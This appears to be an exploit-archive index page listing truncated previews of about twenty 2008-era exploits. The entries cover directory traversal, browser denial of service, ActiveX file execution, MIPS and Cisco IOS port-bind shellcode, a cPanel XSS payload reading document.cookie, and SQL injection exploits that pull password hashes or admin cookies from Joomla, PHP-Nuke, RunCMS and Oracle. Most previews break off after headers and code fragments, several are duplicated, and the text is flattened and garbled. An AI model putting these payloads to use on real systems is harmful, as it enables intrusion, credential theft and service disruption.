cmsmadesimple-lfi.txt

Type: Directory Traversal vulnerability Unix tested / Root privileges escalation Vendor: CMS Made Simple Software: CMS Made Simple 1.4.1 "Spring Garden" and probably others ... Author: M4ck-h@cK Date 29.11.2008 Home: sweet home contact: no, thx : Exploit: Demo: on...

google-exhaust.txt

Google Chrome Carriage Return Null Object Memory Exhaustion Remote Dos. window.open"\r\n\r\n"; window.refresh; window.open"\r\n\r\n"; Google Chrome Carriage Return Null Object Memory Exhaustion Remote Denial of Service.Proof of Concept Note:: Keep an eye on the memory consumption in Task Manager...

Chilkat XML - ActiveX Arbitrary File Creation/Execution

----------------------------------------------------------------------------- Chilkat XML ActiveX Remote Arbitrary File Creation/Execution url: www.chilkatsoft.com File: ChilkatUtil.dll = 3.0.3.0 CLSID: 5022FAE8-B780-4B78-B8DC-1AF1145A4F42 ProgID: ChilkatUtil.CkData.1 Descr.: Chilkat CkData Marke...

sagem-dos.txt

Sagem Router F@ST 2404 Remote Denial Of Service Exploit Discovery Date : 01/09/2008 !/usr/bin/bash Author : Underz0ne Crew Underz0ne.net Zigma Severity : Medium CVE : Not assigned Example : Zigma@Underz0ne ./sagem2404.sh 192.168.1.1 Sagem Router F@ST 2404 Remote Denial Of Service Exploit By...

google-download2.txt

Hello,, Google Chrome Auto download exploit .. Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Tested Successfully on Google Chrome Build 1798 Chrome Auto download Exploit .. By HACKERS PAL function softdownload...

Version-independent IOS shellcode

Version-independent IOS shellcode. Shellcode exploit for hardware platform Version-independent IOS shellcode, Andy Davis 2008 No hard-coded IOS addresses required The technique uses 4-byte signatures near references to the required addresses within the IOS "text" memory region. The addresses are...

linux/mips (Linksys WRT54G/GL) port bind shellcode 276 bytes

No description provided by source. / - MIPS little-endian - linux port listener 276 bytes shellcode - execve"/bin/sh","/bin/sh",; - port 0x1337 4919 - tested on Linksys WRT54G/GL DD-WRT Linux - based on scut paper Writing MIPS/Irix shellcode vaicebine at gmail dot com / include stdio.h char...

linux/mips - Linksys WRT54G/GL port bind shellcode 276 bytes

linux/mips Linksys WRT54G/GL port bind shellcode 276 bytes. Shellcode exploit for linuxmips platform / - MIPS little-endian - linux port listener 276 bytes shellcode - execve"/bin/sh","/bin/sh",; - port 0x1337 4919 - tested on Linksys WRT54G/GL DD-WRT Linux - based on scut paper Writing MIPS/Irix...

modjk1219-overflow.txt

!/usr/bin/python / | || | | | | | | | | /| | | | | || ||| ||||| || C. H. R. O. O. T. SECURITY GROUP - -- ----- --- -- -- ---- --- -- - http://www.chroot.org Hacks In Taiwan | || | | | | | | | Conference 2008 | | | | | | | | | || ||| || |||| http://www.hitcon.org Title =======:: Apache modjk...

cpanel11183-xss.txt

Hello I Discovered a new bug in cPanel xss Exploit : http://example.com:2082/frontend/x/manpage.html?XSS Example : 1- http://example.com:2082/frontend/x/manpage.html?alertLeZr 2- http://example.com:2082/frontend/x/manpage.html?alertdocument.cookie tested on: cPanel V 11.18.3 cPanel V 11.21.0-BETA...

CA BrightStor ARCserve Backup r11.5 ActiveX Remote BOF Exploit 0day

No description provided by source. HTML !-- CA BrightStor ARCserve Backup r11.5 AddColumn 0day ActiveX Remote Buffer Overflow Exploit Bug discovered by Krystian Kloskowski h07 [email protected] Tested on: - CA BrightStor ARCserve Backup r11.5 ftp://ftp.ca.com/priv/trial/BABr11/BABLDr115/BABLDr115.zi...

DESlock+ <= 3.2.6 DLMFENC.sys Local Kernel ring0 link list zero PoC

Exploit for unknown platform in category dos / poc =================================================================== DESlock+ DESlock+ include include define DLMFENCIOCTL 0x0FA4204C define DLMFENCFLAG 0xDEADBEEF define ZEROMEM 0xDEADBEEF define ARGSIZEa a-sizeof int2/sizeof void struct ioctlreq...

Joomla Component Marketplace 1.1.1 SQL Injection Vulnerability

Exploit for unknown platform in category web applications ============================================================== Joomla Component Marketplace 1.1.1 SQL Injection Vulnerability ============================================================== Joomla Component Markplace 1.1.1 Remote Sql...

Oracle 10g R1 pitrig_drop PLSQL Injection (get users hash)

No description provided by source. // / Oracle 10g R1 xDb.XDBPITRIGPKG.PITRIGDROP / / SQL Injection Exploit / // / sploit get password Hashes / // / BY Sh2kerr Digital Security / // / tested on oracle 10.1.0.2.0 / // // / Date of Public EXPLOIT: January 28, 2008 / / Written by: &...

Oracle 10g R1 pitrig_truncate PLSQL Injection (get users hash)

No description provided by source. // / Oracle 10g R1 xDb.XDBPITRIGPKG.PITRIGTRUNCATE / / SQL Injection Exploit / // / sploit get password Hashes / // / BY Sh2kerr Digital Security / // / tested on oracle 10.1.0.2.0 / // // / Date of Public EXPLOIT: January 28, 2008 / / Written by: &nbsp...

phpnuke80final-sql.txt

?php UNPUBLISHED RST/GHC EXPLOIT PHP Nuke sid sql injection exploit for Search module POST method - the best for version 8.0 FINAL coded by Foster & 1dt.w0lf tested on 6.0 , 6.6 , 7.9 , 8.0 FINAL versions if isset$POST'Submit' $result=sendit'CONCAT"::",aid,"::",pwd,"::"'; if...

PHP-Nuke 8.0 Final - 'sid' SQL Injection

?php UNPUBLISHED RST/GHC EXPLOIT PHP Nuke sid sql injection exploit for Search module POST method - the best for version 8.0 FINAL coded by Foster & 1dt.w0lf tested on 6.0 , 6.6 , 7.9 , 8.0 FINAL versions if isset$POST'Submit' $result=sendit'CONCAT"::",aid,"::",pwd,"::"'; if...

RunCMS 1.6 Get Admin Cookie Remote Blind SQL Injection Exploit

No description provided by source. // / RUNCMS 1.6 BLIND SQL Injection Exploit get Admin Cookie / // / exploit get admin cookie that can be used / / to login by pasting it into browser Opera / / and then get access to Admin session / / and change Admins password / / / // // / tested on RUNCMS...

Simple Machine Forum - Private section/posts/info disclosure

Vulnerable: Simple Machine Forum ALL Versions Tested on SMF 1.1.4 Type: Private Section,Posts,Information disclosure. Risk: Low / Medium Discovered By Seph1roth Site: http://www.blackroots.it - The Best Hacking site. eng / ita Explanation: If some section is rescricted only for staff,vips or...

Oracle 10g/11g SYS.LT.FINDRICSET Local SQL Injection Exploit

No description provided by source. !/usr/bin/perl http://rawlab.mindcreations.com/codes/exp/oracle/sys-lt-findricset.pl Oracle SYS.LT.FINDRICSET exploit 11g/10g Grant or revoke dba permission to unprivileged user Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.5.0" Fixed with CPU...